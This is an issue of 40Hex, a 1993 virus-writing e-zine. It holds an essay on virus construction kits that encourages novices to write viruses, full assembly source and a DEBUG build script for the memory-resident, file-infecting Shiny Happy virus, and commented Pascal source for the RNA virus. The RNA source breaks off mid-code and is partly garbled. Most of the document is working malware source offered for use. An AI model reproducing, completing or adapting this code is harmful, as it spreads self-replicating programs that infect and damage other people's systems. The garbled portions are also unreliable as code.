40Hex Number 10 Volume 3 Issue 1
40Hex Issue 10 Volume 3 Number 1 File 000
Welcome back to yet another issue of 40Hex, Phalcon/Skism's magazine chock
full of virus writing techniques, news, source code, and related info.
First off, Phalcon/Skism welcomes its newest member, FirstStrike. We have
watched him grow from humble beginnings and are confident that he will
continue to produce quality viruses in the future.
We will, beginning with this issue, be phasing out the debug scripts in
40Hex. Although many people find them useful, we feel that source code is
more interesting and worthwhile. The disassemblies are almost always done
by Dark Angel, who advises those with difficulty understanding some parts
of the disassemblies to first skim the entire disassembly to learn how the
virus works. Some portions, he continues, are not commented because their
functions are self-evident and the label names reflect their respective
purposes.
In the spirit of friendly competition, we have, in this issue, the Ontario
3 virus written by Death Angel of YAM. While on the topic of YAM, we find
it immensely amusing that they continue to adamantly state on FidoNet and
elsewhere that the IVP was not a mere hack of PS-MPC. Ok, it was a rewrite
in Pascal, but the only significant changes were in the labels; even the
comments were remarkably familiar. Please cease this farce; you are fooling
nobody.
40Hex-10 Table of Contents
March 13, 1993
File Description
0000............................You are here
0001............................Virus creation aids
0002............................Phalcon/Skism Shiny Happy virus
0003............................RNA virus source code
0004............................ARCV Busted
0005............................Green Caterpillar Debug Script
0006............................Virus Spotlite: Bad Boy 2
0007............................A Case Against Encryption
0008............................Ontario 3 source code
0009............................40Hex Survey
Greets to: NuKE, The Attitude Adjuster, and all virus enthusiasts around
the world.
Goodbye & best wishes to : Apache Warrior, ICE-9, and the rest of the ARCV.
-)Gheap
40Hex Issue 10 Volume 3 Number 1 File 001
The following is a cursory examination of virus construction toolkits.
While hardly comprehensive, it includes the basic elements of each
toolkit described. For further information, consult appendix A of
the Phalcon/Skism Gư code generator.
---------------------------------------------------------------------------
VIRUS CONSTRUCTION KITS, Revision 2.0 13 February 1993
Virus construction kits are computer programs which allow people
with little or no programming experience to produce new variants of
computer viruses.
Two popular methods are used in virus construction kits. The first
uses a menu driven user interface where the user is lead through a
series of menus where he 'designs' the replication method, infection
criteria and payload (what the virus does when it activates). The
second method uses a skeleton configuration file (ASCII file in
which virus configurations are placed) and running a 'generator' to
produce the virus.
There is an important factor to consider. First generation virus
construction kits only produce assembled or compiled viruses without
source code. Second generation kits produce virus source code
(sometimes even commented) that can be changed and assembled by the
user. The danger in second generation kits is that someone with very
limited programming experience can potentially produce a new
computer virus without knowing anything about the internal workings
of a virus.
I would like to stress that because virus construction kits to date
use a fair amount of constant code (instructions), they pose no
threat to standard virus detection techniques. However, should
future kits make use of mutation engine principles, this situation
could change.
The following are descriptions of virus construction kits to date.
This is a factual description as the author has access to all of the
kits listed below :
GENVIR
GENVIR was the first attempt to release a virus construction kit for
profit. It is a first generation virus construction kit which a
menu-driven interface. GENVIR is a French program written in 1990 by
J.Struss of Lochwiller, France. It is a 'Crippleware' program that
lets you go through all the motions of creating a virus, but stops
short of the compilation stage. To receive a working copy, one must
license the software for a fee of 120 Frances. The latest version is
1.0 and it is believed that GENVIR was never released as a functional
virus construction kit.
VCS (Virus Construction Set)
VCS is a first generation virus kit written in 1991 by a German group
called VDV (Verband Deutscher Virenliebhaber). VCS is a primitive
program that requires a text file of maximum 512 bytes length and
incorporates this text into a simple .COM file virus infector. After
a specified number of replications, the virus will display the text
message and delete AUTOEXEC.BAT and CONFIG.SYS. The latest release is
version 1.0. The program text is in German,although there is a hacked
version in English.
VCL (Virus Construction Laboratory)
VCL is a complex, second generation, menu driven virus construction
kit written in 1992 by Nowhere Man and [NuKE] WaReZ. It allows
multiple, user selectable modules to be incorporated into the virus,
together with the option of creating commented ASM (assembler) source
code files that can be manually modified. The danger with this option
is that a virus writer can create the virus kernel (without knowing
much about the internal workings of viruses) using VCL and then add
his own,custom code into the virus.The latest release is version 1.0.
PS-MPC (Phalcon / Skism - Mass Produced Code Generator)
PS-MPC is a second generation virus construction kit, written by Dark
Angel in July 1992. It is based heavily on the VCL virus construction
kit. It was distributed including source code in the C language.
Although it is not menu driven, (it uses a user definable skeleton
configuration file to produce viruses) it creates more compact,neater
commented ASM source code than VCL does. Two versions exist,the first
being version 0.90beta released together with 40Hex (an underground
electronic magazine) on 7 July 1992, and version 0.91beta released on
17 August 1992. According to the history file in this release, the
following as been added to the second release : a) rudimentary memory
resident viruses may be created, b) improved optimization of code,
c) fixed minor quirks and d) got rid of "unsigned char" requirement.
IVP (Instant Virus Production Kit)
IVP is a second generation virus construction kit, written in 1992 by
Admiral Bailey a member of the YAM (Youngsters Against McAfee)
underground group. According to the documentation, it was written in
Turbo Pascal version 7.0. IVP uses a skeleton configuration approach
and produces commented source code. It was the following features :
a) .EXE and .COM file infection, b) Trojan support, c) Directory
changing, d) encryption, e) error handling, f) COMMAND.COM infection,
g) overwriting option and h) random nop generator. The latest release
is version 1.0.
G2 (G Squared)
G2 is a second generation virus construction kit, written in 1993 by
Dark Angel of the Phalcon/Skism underground group.(Dark Angel is also
the author of the PS-MPC virus construction kit). This kit makes use
of the skeleton configuration approach and produces commented source
code. According to Dark Angel's documentation, G2 is not a
modification of the Phalcon/Skism PS-MPC kit, but a complete rewrite.
It differs from other virus construction kits in that it produces
easily upgradable and semi-polymorphic routines. The latest release
is version 0.70beta, dated January 1, 1993.
Oliver Steudler, DYNAMIC SOLUTIONS
Authorized McAfee Associates Anti Virus Agent
Mail : P.O.Box 4397, Cape Town, 8000, South Africa
Internet : Oliver.Steudler@f110.n7102.z5.fidonet.ORG
or 100075.0200@compuserve.COM
Fidonet : 5:7102/110
CompuServe : 100075,0200
Phone : +27 (21) 24-9504 (GMT +2)
Fax : +27 (21) 26-1911
BBS: : +27 (21) 24-2208 [1200-14,400 bps]
---------------------------------------------------------------------------
Virus construction tools are cropping up at the rate of one roughly every
two months. Additionally, new polymorphic "engines" such as the MtE, TPE,
etc. are begining to emerge. But how real is the threat from viruses
generated with such tools and has this threat been exaggerated by the
media?
The discussion will center on the so-called "second generation" toolkits.
Perhaps the most prolific of these is Nowhere Man's VCL. It has the most
attractive interface of all the recent virus development tools and allows for
a variety of activation routines; something which has been conspicuously
absent from the Phalcon/Skism code generators. However, VCL is also perhaps
the least dangerous of all the toolkits, hampered by the dependance upon only
one encryption/decryption routine and single, constant code base. YAM's IVP
ameliorates the problem, albeit in a highly limited and somewhat useless
fashion, with the random NOP placement. Of course, its code is based heavily
upon the PS-MPC, which is also nonrandom, so it, too, is hampered. The
PS-MPC, as mentioned earlier, has but a single code base. In short, these
three toolkits are of limited utility in terms of creating nonscannable
viruses "out of the box." The generated code typically needs to be modified
for the viruses to be unscannable.
So perhaps the solution lies in relying not upon a single code base, but
multiple code bases and allowing for random (not the same as haphazard)
placement of individual lines of code. This is the approach of Gư. Gư
allows for multiple code packages which accomplish a certain goal. The
program selects one of the packages for inclusion in a given virus. In
this manner, variability may be ensured. Gư further allows for the order
of statements to be scrambled in the source file. However, all Gư viruses
share the same structure as well as having certain bits of code in common.
So, while an improvement, it is hardly the final step in the evolution of
virus creation toolkits. Gư could become much more powerful with multiple
virus structures as well as improved code packages.
The article above suggested that the toolkits would be much more powerful
should they incorporate "mutation engine principles." In other words, the
toolkits should be able to mutate the generated code. The IVP currently
uses such an approach, albeit only with simple NOPs liberally scattered in the
decryption and delta offset calculation routines. Such code, however, should
not be a goal of the authors of such toolkits. It is simply not appropriate
for a virus creator to function in such a manner. A virus toolkit which
simply spews out the same code in various forms is merely an overblown hack
generator. Toolkits exist as _aids_ in writing a virus, not as replacements.
Surely including such mutation routines would result in larger viruses as well
as illegible code. A novice utilising the toolkit would not be able to learn
from such unoptimised code. Tight code which doesn't sacrifice legibility
should always be the goal of virus generators.
Another aid in writing viruses is the "encryptor-in-a-box," a product such
as MtE or TPE. Such modules allow all viruses to incorporate polymorphic
routines. Yet how dangerous are such polymorphers? As they currently exist,
they pose very little threat. Scanners have adapted not only to catch current
MtE-using viruses reliably, but also to find new viruses which use decryptors
created with MtE. Certainly the TPE and any new polymorphic routines will meet
the same fate. Constant revisions of these engines, while being temporary
solutions, remain just that: temporary. Once the anti-virus industry receives
a copy of the new version, the engine is once again useless.
The virus community should look beyond such "easy fixes" as virus creation
toolkits and polymorphic "engines." The simplest way to get a nonscannable
virus is to write it yourself. Not only is there the benefit of satisfaction
with the work, but you gain expertise and intimate understanding of both
viruses and the operating system. Such knowledge comes only with writing
several viruses on your own. The best way for a beginner to learn how to
write viruses is to figure it out on his own _without_ any examples. Once a
virus has been written in this manner, then it is appropriate to look at
current virus samples to find out the various tried and true techniques.
But polymorphic engines are difficult to write, the novice virus writer
protests; using MtE will vastly improve the virus. Rubbish. Firstly, it is
a fact that scanners will be able to detect the virus, be it encrypted with a
simple XOR loop or with MtE. Writing your own encryption will be far better
in terms of learning. Secondly, polymorphic engines are _not_ terribly
difficult to create. A few hours of thinking will be sufficient to lay down
the framework of a polymorphic engine. An additional few days is enough for
coding. Even the MtE and TPE, while requiring bit-level knowledge of the
opcodes, could have been written by a person with only a few years of
experience programming assembly. The advantages of writing your own
polymorphic engine are obvious; anti-virus developers will have to spend much
time (and space in their products) analysing and developing scanners for each
individual engine; and simply adding a few extra garbling instructions should
be sufficient to throw these scanners off in a future virus.
So what purpose do these tools serve? The ultimate aim of those producing the
virus creation tools should be not to enable people to go around creating new,
unscannable viruses and trashing every hard drive in the world, but to allow
novices to break into the field of virus writing. It is not difficult to
write a virus, but these tools certainly ease the initial pain. Polymorphic
engines are useful as examples for your own polymorphic routines.
I encourage all novice programmers to pick up a copy of Phalcon/Skism's Gư and
VCL, the two most prolific code generation toolkits. Run them a few times with
various parameters and analyse the code carefully. Print out the code and look
it over. The basic principles of virus creation will be apparent after some
inspection. Learn from it and then sit down and write your own virus from
scratch.
Dark Angel
Phalcon/Skism 1993
40Hex Issue 10 Volume 3 Number 1 File 002
The Phalcon/Skism Shiny Happy Virus
This virus was written jointly by Dark Angel and Hellraiser about six
months ago. It is a simple semi-stealth virus that doesn't actually replace
interrupt 21h's vector in the interrupt table. Instead, it finds the DOS
interrupt 21h entry point and encodes an int 3 as the first byte. Consequently,
it is highly debugger-resistant. It also hides the file size increase, albeit
only in DOS directory listings. This way, it avoids the CHKDSK cross-linking
errors common to viruses hooking FCB find first/next. The virus infects upon
file executions. A debug script follows the source code. As always, type
"DEBUG < DEBUG.SCR > NUL" to create the virus from the debug script.
The virus always activates, hooking the keyboard interrupt. When it
detects a happy face (emoticon), the virus changes it to a frown. The Shiny
Happy residency test follows:
Run the cursor across the following line:
:-) =) \|-) ;) :*)
If any of the faces changed to frowns, then Shiny Happy is loose on your
system.
-)Gheap
-------------------------------------------------------------------------------
; The Shiny Happy Virus
; By Hellraiser and Dark Angel of Phalcon/Skism
.model tiny
.code
id = '52'
timeid = 18h
shiny:
call next
next: pop bp
push ds
push es
xor di,di
mov ds,di
cmp word ptr ds:[1*4],offset int1_2 ; installation check
jz return
mov ax,es
dec ax
sub word ptr ds:[413h],(endheap-shiny+1023)/1024
mov ds,ax
sub word ptr ds:[3],((endheap-shiny+1023)/1024)*64
sub word ptr ds:[12h],((endheap-shiny+1023)/1024)*64
mov es,word ptr ds:[12h]
push cs
pop ds
lea si,[bp+shiny-next]
mov cx,(endheap-shiny+1)/2
rep movsw
push cs
lea ax,[bp+return-next]
push ax
push es
mov ax,offset highentry
push ax
retf
return:
cmp sp,id-4
jz returnEXE
returnCOM:
pop es
pop ds
mov di,100h
push di
lea si,[bp+offset save3-next]
movsw
movsb
retn
returnEXE:
pop es
pop ds
mov ax,es
add ax,10h
add word ptr cs:[bp+origCSIP+2-next],ax
cli
add ax,word ptr cs:[bp+origSPSS-next]
mov ss,ax
mov sp,word ptr cs:[bp+origSPSS+2-next]
sti
db 0eah
origCSIP db ?
save3 db 0cdh,20h,0
origSPSS dd ?
highentry:
mov cs:in21flag,0
xor ax,ax
mov ds,ax
les ax,ds:[9*4]
mov word ptr cs:oldint9,ax
mov word ptr cs:oldint9+2,es
mov ds:[9*4],offset int9
mov ds:[9*4+2],cs
les ax,ds:[21h*4]
mov word ptr cs:oldint21,ax
mov word ptr cs:oldint21+2,es
mov word ptr ds:[1*4],offset int1
mov ds:[1*4+2],cs
mov ah, 52h
int 21h
mov ax,es:[bx-2]
mov word ptr cs:tunnel21+2, ax
mov word ptr cs:dosseg_, es
pushf
pop ax
or ah,1
push ax
popf
mov ah,0bh
pushf
db 09Ah
oldint21 dd ?
mov word ptr ds:[3*4],offset int3
mov ds:[3*4+2],cs
mov word ptr ds:[1*4],offset int1_2
les bx,cs:tunnel21
mov al,0CCh
xchg al,byte ptr es:[bx]
mov byte ptr cs:save1,al
retf
authors db 'Shiny Happy Virus by Hellraiser and Dark Angel of Phalcon/Skism',0
int1: push bp
mov bp,sp
push ax
mov ax, [bp+4]
cmp ax,word ptr cs:tunnel21+2
jb foundint21
db 3dh ; cmp ax, xxxx
dosseg_ dw ?
ja exitint1
foundint21:
mov word ptr cs:tunnel21+2,ax
mov ax,[bp+2]
mov word ptr cs:tunnel21,ax
and byte ptr [bp+7], 0FEh
exitint1:
pop ax
pop bp
iret
int1_2: push bp
mov bp,sp
push ax
mov ax, [bp+4]
cmp ax,word ptr cs:tunnel21+2
ja exitint1_2
mov ax, [bp+2]
cmp ax,word ptr cs:tunnel21
jbe exitint1_2
push ds
push bx
lds bx,cs:tunnel21
mov byte ptr ds:[bx],0CCh
pop bx
pop ds
and byte ptr [bp+7],0FEh
exitint1_2:
pop ax
pop bp
iret
infect_others:
mov ax,4301h
push ax
push ds
push dx
xor cx,cx
call callint21
mov ax,3d02h
call callint21
xchg ax,bx
mov ax,5700h
call callint21
push cx
push dx
mov ah,3fh
mov cx,1ah
push cs
pop ds
push cs
pop es
mov dx,offset readbuffer
call callint21
mov ax,4202h
xor cx,cx
cwd
int 21h
mov si,offset readbuffer
cmp word ptr [si],'ZM'
jnz checkCOM
checkEXE:
cmp word ptr [si+10h],id
jz goalreadyinfected
mov di, offset OrigCSIP
mov si, offset readbuffer+14h
movsw
movsw
sub si, 18h-0eh
movsw
movsw
push bx
mov bx, word ptr readbuffer + 8
mov cl, 4
shl bx, cl
push dx
push ax
sub ax, bx
sbb dx, 0
mov cx, 10h
div cx
mov word ptr readbuffer+14h, dx
mov word ptr readbuffer+16h, ax
mov word ptr readbuffer+0Eh, ax
mov word ptr readbuffer+10h, id
pop ax
pop dx
pop bx
add ax, heap-shiny
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1
mov word ptr readbuffer+4, dx
mov word ptr readbuffer+2, ax
mov cx,1ah
jmp short finishinfection
checkCOM:
xchg cx,ax
sub cx,heap-shiny+3
cmp cx,word ptr [si+1]
goalreadyinfected:
jz alreadyinfected
add cx,heap-shiny
push si
mov di,offset save3
movsw
movsb
pop di
mov al,0e9h
stosb
mov ax,3 ; cx holds bytes to write
xchg ax,cx
stosw
finishinfection:
push cx
mov ah,40h
mov cx,heap-shiny
cwd ; xor dx,dx
call callint21
mov ax,4200h
xor cx,cx
cwd
int 21h
mov ah,40h
pop cx
mov dx,offset readbuffer
call callint21
mov ax,5701h
pop dx
pop cx
and cl,0E0h
or cl,timeid
call callint21
jmp doneinfect
alreadyinfected:
pop ax
pop ax
doneinfect:
mov ah,3eh
call callint21
pop dx
pop ds
pop ax
pop cx
call callint21
exitexecute:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp exitint21
execute:
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cld
mov ax,4300h
call callint21
jc exitexecute
push cx
jmp infect_others
int3:
push bp
mov bp,sp
cmp cs:in21flag,0
jnz leaveint21
inc cs:in21flag
cmp ah,11h
jz findfirstnext
cmp ah,12h
jz findfirstnext
cmp ax,4b00h
jz execute
exitint21:
dec cs:in21flag
leaveint21:
or byte ptr [bp+7],1 ; set trap flag upon return
dec word ptr [bp+2] ; decrement offset
call restoreint21
pop bp
iret
callint21:
pushf
call dword ptr cs:tunnel21
ret
restoreint21:
push ds
push ax
push bx
lds bx,cs:tunnel21
mov al,byte ptr cs:save1
mov ds:[bx],al
pop bx
pop ax
pop ds
ret
findfirstnext:
int 21h ; pre-chain interrupt
; flags [bp+12]
; segment [bp+10]
; offset [bp+8]
; flags [bp+6]
; segment [bp+4]
; offset [bp+2]
; bp [bp]
pushf ; save results
pop [bp+6+6]
pop bp
push ax
push bx
push ds
push es
inc al
jz notDOS
mov ah,51h ; Get active PSP
int 21h
mov es,bx
cmp bx,es:[16h] ; DOS calling it?
jne notDOS
mov ah,2fh ; DTA -> ES:BX
int 21h
push es
pop ds
cmp byte ptr [bx],0FFh
jnz regularFCB
add bx,7
regularFCB:
cmp word ptr [bx+9],'OC'
jz checkinf
cmp word ptr [bx+9],'XE'
jnz notDOS
checkinf:
mov al,byte ptr [bx+23]
and al,1Fh
cmp al,timeid
jnz notDOS
subtract:
sub word ptr [bx+29],heap-shiny
sbb word ptr [bx+31],0
notDOS:
pop es
pop ds
pop bx
pop ax
dec cs:in21flag
cli
add sp,6
iret
int9:
pushf ; save flags, regs, etc...
push ax
push bx
push cx
push dx
xor bx,bx
mov ah,0fh ; get video mode
int 10h
mov ah,03h ; get curs pos
int 10h
call getattrib
cmp al,')' ; happy??
jne audi5000 ; no
mov cs:eyesflag,0
beforeloveshack:
call getattrib ; see if there is a nose
loveshack:
cmp al,':' ; shiny???
je realeyes
cmp al,'=' ; check for even =)
je realeyes
cmp al,'|'
je realeyes
cmp al,';'
je realeyes
cmp cs:eyesflag,0
jnz audi5001
cmp al,'('
jz audi5001
inc cs:eyesflag
inc bl
jmp short beforeloveshack
realeyes:
stc
adc dl,bl ; add extra backspace if so
mov ah,02h
int 10h
mov ax,0a28h ; 0ah, '(' ; write frown
mov cx,1
int 10h
jmp audi5000
audi5001:
stc
adc dl,bl
audi5000:
inc dl ; set curs pos
mov ah,02h
int 10h
pop dx ; restore all stuff
pop cx
pop bx
pop ax
popf
db 0eah
oldint9 dd ?
; reads the char at the current cursorpos - 1
getattrib:
dec dl ; set curs pos
mov ah,02h
int 10h
mov ah,08h ; get char at curs
int 10h
ret
heap:
save1 db ?
tunnel21 dd ?
in21flag db ?
eyesflag db ?
readbuffer db 1ah dup (?)
endheap:
end shiny
-------------------------------------------------------------------------------
n shiny.com
e 0100 E8 00 00 5D 1E 06 33 FF 8E DF 81 3E 04 00 4D 01
e 0110 74 2D 8C C0 48 83 2E 13 04 01 8E D8 83 2E 03 00
e 0120 40 83 2E 12 00 40 8E 06 12 00 0E 1F 8D 76 FD B9
e 0130 DD 01 F3 A5 0E 8D 46 3C 50 06 B8 71 00 50 CB 81
e 0140 FC 2E 35 74 0C 07 1F BF 00 01 57 8D 76 67 A5 A4
e 0150 C3 07 1F 8C C0 05 10 00 2E 01 46 68 FA 2E 03 46
e 0160 6A 8E D0 2E 8B 66 6C FB EA 00 CD 20 00 00 00 00
e 0170 00 2E C6 06 9E 03 00 33 C0 8E D8 C4 06 24 00 2E
e 0180 A3 8A 03 2E 8C 06 8C 03 C7 06 24 00 26 03 8C 0E
e 0190 26 00 C4 06 84 00 2E A3 C5 00 2E 8C 06 C7 00 C7
e 01A0 06 04 00 28 01 8C 0E 06 00 B4 52 CD 21 26 8B 47
e 01B0 FE 2E A3 9C 03 2E 8C 06 37 01 9C 58 80 CC 01 50
e 01C0 9D B4 0B 9C 9A 00 00 00 00 C7 06 0C 00 85 02 8C
e 01D0 0E 0E 00 C7 06 04 00 4D 01 2E C4 1E 9A 03 B0 CC
e 01E0 26 86 07 2E A2 99 03 CB 53 68 69 6E 79 20 48 61
e 01F0 70 70 79 20 56 69 72 75 73 20 62 79 20 48 65 6C
e 0200 6C 72 61 69 73 65 72 20 61 6E 64 20 44 61 72 6B
e 0210 20 41 6E 67 65 6C 20 6F 66 20 50 68 61 6C 63 6F
e 0220 6E 2F 53 6B 69 73 6D 00 55 8B EC 50 8B 46 04 2E
e 0230 3B 06 9C 03 72 05 3D 00 00 77 0F 2E A3 9C 03 8B
e 0240 46 02 2E A3 9A 03 80 66 07 FE 58 5D CF 55 8B EC
e 0250 50 8B 46 04 2E 3B 06 9C 03 77 1A 8B 46 02 2E 3B
e 0260 06 9A 03 76 10 1E 53 2E C5 1E 9A 03 C6 07 CC 5B
e 0270 1F 80 66 07 FE 58 5D CF B8 01 43 50 1E 52 33 C9
e 0280 E8 32 01 B8 02 3D E8 2C 01 93 B8 00 57 E8 25 01
e 0290 51 52 B4 3F B9 1A 00 0E 1F 0E 07 BA A0 03 E8 14
e 02A0 01 B8 02 42 33 C9 99 CD 21 BE A0 03 81 3C 4D 5A
e 02B0 75 5C 81 7C 10 32 35 74 5D BF 69 00 BE B4 03 A5
e 02C0 A5 83 EE 0A A5 A5 53 8B 1E A8 03 B1 04 D3 E3 52
e 02D0 50 2B C3 83 DA 00 B9 10 00 F7 F1 89 16 B4 03 A3
e 02E0 B6 03 A3 AE 03 C7 06 B0 03 32 35 58 5A 5B 05 99
e 02F0 03 83 D2 00 B1 09 50 D3 E8 D3 CA F9 13 D0 58 80
e 0300 E4 01 89 16 A4 03 A3 A2 03 B9 1A 00 EB 1D 91 81
e 0310 E9 9C 03 3B 4C 01 74 3E 81 C1 99 03 56 BF 6A 00
e 0320 A5 A4 5F B0 E9 AA B8 03 00 91 AB 51 B4 40 B9 99
e 0330 03 99 E8 80 00 B8 00 42 33 C9 99 CD 21 B4 40 59
e 0340 BA A0 03 E8 6F 00 B8 01 57 5A 59 80 E1 E0 80 C9
e 0350 18 E8 61 00 EB 02 58 58 B4 3E E8 58 00 5A 1F 58
e 0360 59 E8 51 00 07 1F 5F 5E 5A 59 5B 58 9D EB 35 9C
e 0370 50 53 51 52 56 57 1E 06 FC B8 00 43 E8 36 00 72
e 0380 E3 51 E9 F3 FE 55 8B EC 2E 80 3E 9E 03 00 75 19
e 0390 2E FE 06 9E 03 80 FC 11 74 34 80 FC 12 74 2F 3D
e 03A0 00 4B 74 CB 2E FE 0E 9E 03 80 4E 07 01 FF 4E 02
e 03B0 E8 09 00 5D CF 9C 2E FF 1E 9A 03 C3 1E 50 53 2E
e 03C0 C5 1E 9A 03 2E A0 99 03 88 07 5B 58 1F C3 CD 21
e 03D0 9C 8F 46 0C 5D 50 53 1E 06 FE C0 74 3B B4 51 CD
e 03E0 21 8E C3 26 3B 1E 16 00 75 2E B4 2F CD 21 06 1F
e 03F0 80 3F FF 75 03 83 C3 07 81 7F 09 43 4F 74 07 81
e 0400 7F 09 45 58 75 12 8A 47 17 24 1F 3C 18 75 09 81
e 0410 6F 1D 99 03 83 5F 1F 00 07 1F 5B 58 2E FE 0E 9E
e 0420 03 FA 83 C4 06 CF 9C 50 53 51 52 33 DB B4 0F CD
e 0430 10 B4 03 CD 10 E8 56 00 3C 29 75 42 2E C6 06 9F
e 0440 03 00 E8 49 00 3C 3A 74 21 3C 3D 74 1D 3C 7C 74
e 0450 19 3C 3B 74 15 2E 80 3E 9F 03 00 75 1E 3C 28 74
e 0460 1A 2E FE 06 9F 03 FE C3 EB D8 F9 12 D3 B4 02 CD
e 0470 10 B8 28 0A B9 01 00 CD 10 EB 03 F9 12 D3 FE C2
e 0480 B4 02 CD 10 5A 59 5B 58 9D EA 00 00 00 00 FE CA
e 0490 B4 02 CD 10 B4 08 CD 10 C3
rcx
0399
w
q
-------------------------------------------------------------------------------
40Hex Issue 10 Volume 3 Number 1 File 003
The following is the source code for the RNA virus, a Pascal virus which
preserves the functionality of the EXE files which it infects. It is a
primitive virus, but is an example of a parasitic virus not written in
assembly.
-------------------------------------------------------------------------------
{$i-}{$m 2048,0,24576}
Program RNA;
{ Commenting by Dark Angel of Phalcon/Skism }
{ for 40Hex Issue 10 Volume 3 Number 1 }
uses dos;
const blksize=8192; { buffer size }
vsize=7200; { length of virus }
wc='*.'; { part of file mask }
counter=blksize-1; { location of the counter }
cb=':\'; { colon backslash }
maxinf:byte=4; { max # infections }
maxruns:byte=48; { # runs before disinfection }
drives:array[3..4] of char=('C','D'); { name of the drives }
imf:string[12]='ux142.rqz'; { temporary file name }
type vtype=array[1..vsize] of byte; { type of buffer for storing virus }
buftype=array[1..blksize] of byte; { type of buffer for file operations }
var ps:string; { path string }
s:pathstr; { currently running program }
ds:dirstr; { current directory }
ns:namestr; { filename of current program }
es:extstr; { extension of current program }
v:^vtype; { buffer for virus code }
buf:^buftype; { buffer for file copying }
count,indx,inf:byte;
attr,nr,nw:word;
sr:searchrec; { for find first/find next calls }
f,f2:file; { file handles }
t:longint; { file time/date storage }
procedure copyf; { copy file }
begin
repeat { copy the file in blocks }
blockread(f,buf^,blksize,nr); { read from the source file }
blockwrite(f2,buf^,nr,nw); { write to the target file }
until (eof(f)); { stop if end of file reached }
close(f); { close the source file }
setftime(f2,t); { set file time/date of target }
close(f2); { then close target file }
end;
Procedure stripf; { strip virus from the file }
begin
assign(f,s); { f = handle for current file }
reset(f,1); { prepare it for reading }
getftime(f,t); { save file creation time/date }
assign(f2,ds+imf); { create temporary file }
rewrite(f2,1); { prepare for writing }
seek(f,vsize); { go past virus }
copyf; { and copy uninfected file }
end;
procedure load; { load the virus from carrier file }
begin
assign(f,s); { f = handle for current file }
getfattr(f,attr); { get its file attributes }
reset(f,1); { and prepare it for reading }
if ioresult=0 then { continue if no failure }
begin
getftime(f,t); { get file creation time/date }
blockread(f,v^,vsize,nr); { read the virus to buffer }
count:=v^[vsize]-1; { get the counter from the buffer }
{ and decrement it }
v^[vsize]:=maxruns; { reset counter in buffer }
seek(f,vsize-1); { go to generation counter in buffer }
blockwrite(f,count,1,nr); { write new counter to file }
setftime(f,t); { restore file time/date }
close(f); { close the file }
setfattr(f,attr); { restore its file attributes }
end;
end;
function checkf(pth:dirstr):boolean; { check if file already infected }
var by:array[1..27] of byte; { buffer for checking marker bytes }
begin
checkf:=false; { default to don't infect }
if pos(sr.name,'COMMAND.COM')=0 then { don't infect COMMAND.COM }
begin
assign(f,pth+sr.name); { get filename }
reset(f,1); { open for reading }
if ioresult=0 then { continue if open ok }
begin
blockread(f,by,27,nr); { start checking the file }
for indx:=1 to 27 do { to see if the virus is }
if (by[indx])<>(v^[indx]) then { already there }
checkf:=true; { if not, return infect ok }
close(f); { close the file }
end;
end;
end;
procedure attach(pth:dirstr); { attach virus to start of file }
begin
inc(inf); { increment infection counter }
assign(f2,pth+'zSqA.th'); { create temporary file }
rewrite(f2,1); { open for writing }
if ioresult=0 then { continue if no errors }
begin
assign(f,pth+sr.name); { open file to infect }
getfattr(f,attr); { save its attributes }
reset(f,1); { open for reading }
getftime(f,t); { save its creation time/date }
blockwrite(f2,v^,vsize,nr); { write the virus to the temp file }
copyf; { copy the file to infect to the }
erase(f); { temp file and erase original }
rename(f2,sr.name); { rename the temp file to the name }
setfattr(f2,attr); { of the original and restore file }
end; { attributes }
end;
procedure rep(pth:dirstr;ext:extstr); { replicate within a directory }
begin
findfirst(pth+wc+ext,hidden+archive+readonly,sr);
while (inf'') do { while more directories }
begin
indx:=pos(';',ps); { go to next directory }
if indx=0 then { if not found, then at }
begin { last directory }
tmp:=ps; { copy directory name to }
ps:=''; { variable }
end
else
begin
tmp:=copy(ps,1,indx-1); { copy directory name to }
ps:=copy(ps,indx+1,length(ps)-indx); { variable }
end;
if tmp[length(tmp)]<>'\' then tmp:=tmp+'\'; { concatenate '\' if it }
{ isn't already there }
rep(tmp,'cOm'); { infect *.COM }
rep(tmp,'exE'); { infect *.EXE }
end;
end;
procedure makep; { this makes a path if it }
{ isn't found in the system }
var b:byte;
begin
getdir(0,ps); { get current drive }
for b:=3 to 4 do { do this for C: and D: }
begin
ps:=ps+';'+drives[b]+cb+';'; { copy each drive to path }
findfirst(drives[b]+cb+wc,directory,sr); { check if dirs on drive }
while (doserror=0) and (length(ps)<240) do { if not, continue }
begin
ps:=ps+drives[b]+cb+sr.name+';'; { add all dirs to the path }
findnext(sr); { do it again and again }
end;
end;
end;
procedure grow;
begin
inf:=0; { reset infection counter }
ps:=getenv('path'); { get the current path }
if ps<>'' then replicate; { infect files if path found }
if inf